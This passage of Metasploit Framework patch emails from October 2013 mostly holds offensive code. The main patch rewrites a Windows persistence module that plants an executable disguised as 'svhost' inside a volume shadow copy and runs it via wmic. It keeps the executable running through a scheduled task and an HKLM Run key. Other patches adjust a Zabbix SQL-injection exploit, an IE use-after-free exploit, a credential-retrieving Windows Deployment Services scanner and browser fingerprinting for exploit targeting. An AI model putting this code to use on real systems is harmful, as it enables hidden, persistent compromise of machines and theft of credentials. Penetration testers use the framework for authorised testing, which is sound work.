result_regex.match(response) + if result_response[1] == "Success" + version_regex = /DSVersion=(.*)/ + altiris_version = version_regex.match(response) + return "#{altiris_version[1]}" + else + return "unexpected \"UpdateComputer\" response: '#{result_response[1]}'" + end + else + return "No response received, possible congestion issue..." + end + end + + def exploit + if not datastore['CMD'].empty? + print_status("Executing command '#{datastore['CMD']}'") + execute_command(datastore['CMD']) + return + elsif datastore['DISABLE_SECURITY'] == true || datastore['ENABLE_SECURITY'] == true + execute_command(datastore['CMD']) + return + else + case target['Platform'] + when 'win' + windows_stager + else + raise RuntimeError, 'Target not supported.' + handler + end + end + + end + + def on_new_session(client) + + return if not payload_exe + + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.console.run_single("run migrate -f") + + delete_me_too = "C:\\Docume~1\\Networ~1\\Locals~1\\temp\\#{payload_exe}" + + print_status("Changing permissions on #{delete_me_too} ...") + cmd = "C:\\Windows\\system32\\attrib.exe -r -h -s " + delete_me_too + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + + print_warning("Attempting to delete #{delete_me_too} ...") + begin + client.console.run_single("rm #{payload_exe}") + if client.fs.file.exists?("C:\\Documents and Settings\\NetworkService\\Local Settings\\Temp\\#{payload_exe}") + print_warning("Unable to delete #{delete_me_too}; wait a while, and try to rm it later.") + end + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + end + end +end From b505234bf60b162f148ef5d0c69af29489d9b01c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:12:37 -0700 Subject: [PATCH 159/409] cleand up code and add run function --- .../post/windows/manage/vss_persistence.rb | 179 ++++++++++-------- 1 file changed, 103 insertions(+), 76 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 74a0fa4217..58933875a6 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -25,15 +25,15 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn + This module will attempt to create a persistant payload + in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. Works on win2k3 and later. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors Mr.Xorsgmail.com'], + 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] @@ -46,35 +46,12 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptString.new('PATH', [ true, 'Path to Executable on your local system.']) + OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - - def upload(session,file,trgloc = "") - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = "\\Windows\\Temp" - else - location = trgloc - end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{location}\\#{file_name}" - else - file_on_target = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("Uploading #{file}....") - begin - session.fs.file.upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end - end + def run + path = "#{datastore['PATH']}" unless is_admin? print_error("This module requires admin privs to run") return @@ -86,73 +63,123 @@ class Metasploit4 < Msf::Post unless start_vss return end - id = create_shadowcopy(datastore['VOLUME']) - if id - print_good "Shadow Copy #{id} created!" - end - + upload(session, path, datastore['RPATH']) + volume_shadow_copy + delete_executable(@location, @file_name) cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" - volume_data_id = [] + volume_data_id = [] output = cmd_exec(cmd) output.each_line do |line| - cmd_regex = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - + print_good("#{volume_data_id}") + execute_executable(volume_data_id, @location, @file_name) + schtasks(volume_data_id, @location, @file_name) + regkey(@glogal_location) + log_file + end + + def upload(session, file, trgloc="") + @location = "" + @file_name = "" + @file_on_target = "" + @clean_up = "" + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + @location = "\\Windows\\Temp" + else + @location = trgloc + end + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + @file_name = "svhost#{rand(100)}.exe" + @file_on_target = "#{@location}\\#{@file_name}" + end + print_status("Uploading #{file}....") + begin + upload_file("#{@file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + end + end + + def volume_shadow_copy + begin + id = create_shadowcopy(datastore['VOLUME']) + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + if id + print_good("Shadow Volume Copy Created #{id}") + return true + else + return false + end + end + + def delete_executable(location, file_name) + print_good("Deleting Malware #{location}\\#{file_name}!") + delete_test = file_rm("#{location}\\#{file_name}") + print_good("Clean Up Complete.") + end + + def execute_executable(volume_id, exe_path, exe_name) + @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" if datastore["EXECUTE"] print_good("Running Executable!") - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" + run_malware = cmd_exec(run_cmd) + else + return end + end + def schtasks(volume_data_id, location, file_name) if datastore["SCHTASK"] sch_name = Rex::Text.rand_text_alpha(rand(8)+8) print_good("Creating Service..........") - service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + service_malware_go = cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + else + return end + end - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_cmd = session.sys.process.execute("cmd.exe /c del #{location}\\#{file_name}", nil, {'Hidden' => true}) - delete_cmd.close - print_good("Clean Up Complete.") - + def regkey(path_to_exe) if datastore["RUNKEY"] - def write_to_reg(key,path_to_exe) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - @clean_up << "reg deleteval -k #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - end - write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}") - end - - def log_file(log_path = nil) - host = session.sys.config.sysinfo["Computer"] - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + if nam + registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + print_error("Error: failed to open the registry key for writing") end - ::FileUtils.mkdir_p(logs) - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + else + return end - - clean_rc = log_file() - file_local_write(clean_rc,@clean_up) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - return file_on_target end - def run - print_good("Uploading Payload to machine.") - upload(session,"#{datastore['PATH']}","#{datastore['RPATH']}") + def clean_data + host = session.sys.config.sysinfo["Computer"] + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + ::FileUtils.mkdir_p(logs) + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end + def log_file + clean_rc = clean_data() + file_local_write(clean_rc, @clean_up) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + end end From 17e5c63f7f75eb7335a8c0bc1078b8d174c909a4 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:29:24 -0700 Subject: [PATCH 160/409] removed debugging prompts --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 58933875a6..61b50b0d52 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -73,7 +73,6 @@ class Metasploit4 < Msf::Post cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - print_good("#{volume_data_id}") execute_executable(volume_data_id, @location, @file_name) schtasks(volume_data_id, @location, @file_name) regkey(@glogal_location) From fc62b4c4eda8ece150d28ba83662f691e5a7b76c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 09:16:54 -0700 Subject: [PATCH 161/409] removed global var from file_on_target and useless code --- modules/post/windows/manage/vss_persistence.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 61b50b0d52..a76f78a231 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -82,7 +82,7 @@ class Metasploit4 < Msf::Post def upload(session, file, trgloc="") @location = "" @file_name = "" - @file_on_target = "" + file_on_target = "" @clean_up = "" if not ::File.exists?(file) raise "File to Upload does not exists!" @@ -92,14 +92,11 @@ class Metasploit4 < Msf::Post else @location = trgloc end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - @file_name = "svhost#{rand(100)}.exe" - @file_on_target = "#{@location}\\#{@file_name}" - end + @file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{@location}\\#{@file_name}" print_status("Uploading #{file}....") begin - upload_file("#{@file_on_target}","#{file}") + upload_file("#{file_on_target}","#{file}") rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From da3081e1c8454e82dca793112ae4c06347c0119f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 14 Oct 2013 11:40:46 -0500 Subject: [PATCH 162/409] [FixRM 8482] Fix uninit constant Rex::Exploitation::JavascriptOSDetect This fixes an uninit constant Rex::Exploitation::JavascriptOSDetect while using a module with js_os_detect. It was originally reported by Metasploit user @viniciuskmax [FixRM 8482] --- lib/msf/core/exploit/http/server.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index eb0803df60..5a17c1c6ae 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,6 +3,7 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' +require 'rex/exploitation/javascriptosdetect' module Msf From 5514736deb4c0ec1b4e88257c1367bd010b61cf6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 14 Oct 2013 13:13:56 -0500 Subject: [PATCH 163/409] [FixRM 8489] undefined method `empty?' for nil:NilClass in msfcli This fixes a undefined method `empty?' for nil:NilClass (NoMethodError) in msfcli. [SeeRM 8489] --- msfcli | 1 + 1 file changed, 1 insertion(+) diff --git a/msfcli b/msfcli index 7ee7088a56..fb346c1ca8 100755 --- a/msfcli +++ b/msfcli @@ -206,6 +206,7 @@ class Msfcli @args[:params].each { |args| var, val = args.split('=', 2) + next if val.nil? case var.downcase when 'payload' From 488ed5bd4abc73af58ec2ae5da808f3632562321 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:41:26 -0500 Subject: [PATCH 164/409] Add new feature detection logic for FF 23 and 24. --- lib/rex/exploitation/javascriptosdetect.js | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index eabe23c33a..a83aa8207c 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -52,6 +52,12 @@ window.os_detect.getVersion = function(){ return d.style[propCamelCase] === css; } + var input_type_is_valid = function(input_type) { + var input = document.createElement('input'); + input.setAttribute('type', input_type); + return input.type == input_type; + } + //-- // Client //-- @@ -203,7 +209,12 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('HTMLTimeElement' in window) { + if ('DeviceStorage' in window && 'default' in window.DeviceStorage) { + // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 + ua_version = '24.0' + } else if (input_type_is_valid('range')) { + ua_version = '23.0' + } else if ('HTMLTimeElement' in window) { ua_version = '22.0' } else if ('createElement' in document && document.createElement('main') && From 20a145f1e763406e911d5f4985c5802dfd19d04b Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:51:45 -0500 Subject: [PATCH 165/409] Check for prop in prototype, not constructor. --- lib/rex/exploitation/javascriptosdetect.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index a83aa8207c..abe54d04fc 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -209,7 +209,7 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('DeviceStorage' in window && 'default' in window.DeviceStorage) { + if ('DeviceStorage' in window && 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 ua_version = '24.0' } else if (input_type_is_valid('range')) { From 183940308b41e10caacb17ec20de42820472a337 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:55:54 -0500 Subject: [PATCH 166/409] Add another nil check, just to be safe. --- lib/rex/exploitation/javascriptosdetect.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index abe54d04fc..913c369100 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -209,7 +209,8 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('DeviceStorage' in window && 'default' in window.DeviceStorage.prototype) { + if ('DeviceStorage' in window && window.DeviceStorage && + 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 ua_version = '24.0' } else if (input_type_is_valid('range')) { From a6f17c3ba097156ea0e9bfe5d2595faa2b0f4ffc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 14 Oct 2013 14:01:58 -0500 Subject: [PATCH 167/409] Clean zabbix_sqli --- modules/exploits/linux/http/zabbix_sqli.rb | 25 +++++++++------------- 1 file changed, 10 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index 5f8d6ee2c2..6645f527fc 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -55,14 +55,10 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']) ], self.class) end - def peer - return "#{rhost}:#{rport}" - end - def uri return target_uri.path end @@ -76,8 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(uri, "httpmon.php") }) - if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ - res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ + if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ version = $1 print_status("#{peer} - Zabbix version #{version} detected") else @@ -86,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if version and version <= "2.0.6" + if version and version <= "2.0.8" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe @@ -106,8 +101,8 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri("#{uri}", "httpmon.php"), 'vars_get' => { - "applications" => sqli, - }, + "applications" => sqli + } }) if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/ @@ -142,8 +137,8 @@ class Metasploit3 < Msf::Exploit::Remote 'usrgrpid' => '0', 'groupid' => '0', 'access' => '2', - 'save' => 'Save', - }, + 'save' => 'Save' + } }) if res and res.code == 200 and res.body =~ /(Script added)/ @@ -165,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote "scriptid" => @scriptid, "sid" => @sid, "hostid" => "10084" - }, + } }) end @@ -180,9 +175,9 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /(Script deleted)/ - vprint_status("#{peer} - Script removed successfully") + print_status("#{peer} - Script removed successfully") else - vprint_warning("#{peer} - Unable to remove script #{@scriptid}") + print_warning("#{peer} - Unable to remove script #{@scriptid}") end end end From 15e8c3bcd6691261a15357110e9fde4ea760e17e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 14 Oct 2013 14:10:08 -0500 Subject: [PATCH 168/409] [FixRM #8470] - can't convert nil into String Target selection bug in ms13_069_caret.rb. Happens when the target is Win 7 + IE8, which actually isn't a suitable target. [FixRM #8470] --- .../windows/browser/ms13_069_caret.rb | 20 +------------------ 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index da93c1889a..68c9c9fb98 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -44,7 +44,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', {} ], [ # Win 7 target on hold until we have a stable custom spray for it 'IE 8 on Windows XP SP3', @@ -84,24 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_target(agent) - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end - + return targets[0] if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ nil end From 711fac08b75038451b8b999287f4a88772de079c Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 14:15:13 -0500 Subject: [PATCH 169/409] Don't throw exception if createElement is missing. --- lib/rex/exploitation/javascriptosdetect.js | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index 913c369100..24f41fedc8 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -53,6 +53,7 @@ window.os_detect.getVersion = function(){ } var input_type_is_valid = function(input_type) { + if (!document.createElement) return false; var input = document.createElement('input'); input.setAttribute('type', input_type); return input.type == input_type; From 4b4804538f7f9334af32c03fca0650c8f0ecd90c Mon Sep 17 00:00:00 2001 From: kaospunk Date: Mon, 14 Oct 2013 16:02:29 -0400 Subject: [PATCH 170/409] Fixes issues based on feedback This commit addresses comments made by @jvazquez-r7. --- modules/auxiliary/scanner/http/owa_login.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 57d32971d6..79418c9444 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -247,25 +247,26 @@ class Metasploit3 < Msf::Auxiliary 'uri' => "/#{url}", 'method' => 'GET', 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) + }) if not res print_error("#{msg} HTTP Connection Error, Aborting") - return :abort + return nil end if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: " + domain) - break + return domain end end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort + return nil end + return domain end From 63e40f9fba37d3491d8df31b2d780d7dfca8065e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 14 Oct 2013 15:17:39 -0500 Subject: [PATCH 171/409] Release time fixes to modules * Period at the end of a description. * Methods shouldn't be meth_name! unless the method is destructive. * "Setup" is a noun, "set up" is a verb. * Use the clunky post module naming convention. --- .../auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 2 +- modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb | 4 ++-- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 4 ++-- modules/exploits/windows/misc/hp_dataprotector_crs.rb | 2 +- modules/post/multi/gather/resolve_hosts.rb | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 27ab2d7753..f444d97cf7 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Auxiliary 'Name' => 'SAP Host Agent Information Disclosure', 'Description' => %q{ This module attempts to retrieve Computer and OS info from Host Agent - through the SAP HostControl service + through the SAP HostControl service. }, 'References' => [ diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index b220e133a6..86cda53b68 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -70,14 +70,14 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - test_login! + test_login execute_cmdstager end # Sends an HTTP request with authorization header to the router # Raises an exception unless the login is successful - def test_login! + def test_login print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") res = send_auth_request_cgi({ diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index b60631106f..cdbd765418 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -33,11 +33,11 @@ class Metasploit3 < Msf::Exploit::Remote multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a - "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft + "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another - event called "onselect". The "onselect" event will allow us to setup for the actual event + event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index d63c006d6f..5186340e59 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'HP Data Protector Cell Request Service Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector - product. The vulnerability, due to the insecure usage of _swprintf, exist at the Cell + product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3. }, diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 0bb3572335..b054198958 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Resolve Hosts', + 'Name' => 'Multi Gather Resolve Hosts', 'Description' => %q{ Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, From a3af5d681b84fff9329aabf8340bada43d2e835b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 14 Oct 2013 21:53:22 +0100 Subject: [PATCH 172/409] Ensure TCP connection is closed --- .../dcerpc/windows_deployment_services.rb | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index b8dd2d76a6..109837a97e 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -57,8 +57,13 @@ class Metasploit3 < Msf::Auxiliary query_host(ip) rescue ::Interrupt raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") + rescue ::Rex::ConnectionError => e + print_error("#{ip}:#{rport} Connection Error: #{e}") + ensure + # Ensure socket is pulled down afterwards + self.dcerpc.socket.close rescue nil + self.dcerpc = nil + self.handle = nil end end @@ -78,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Binding to #{handle} ...") self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) - print_good("Bound to #{handle}") + vprint_good("Bound to #{handle}") report_service( :host => rhost, @@ -107,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + return nil end unless result.nil? @@ -116,7 +121,7 @@ class Metasploit3 < Msf::Auxiliary results.each do |result| unless result.empty? - unless result['username'].nil? || result['password'].nil? + if result['username'] and result['password'] print_good("Retrived #{result['type']} credentials for #{architecture[0]}") creds_found = true domain = "" @@ -158,7 +163,7 @@ class Metasploit3 < Msf::Auxiliary wdsc_packet = packet.create - print_status("Sending #{architecture[0]} Client Unattend request ...") + vprint_status("Sending #{architecture[0]} Client Unattend request ...") response = dcerpc.call(0, 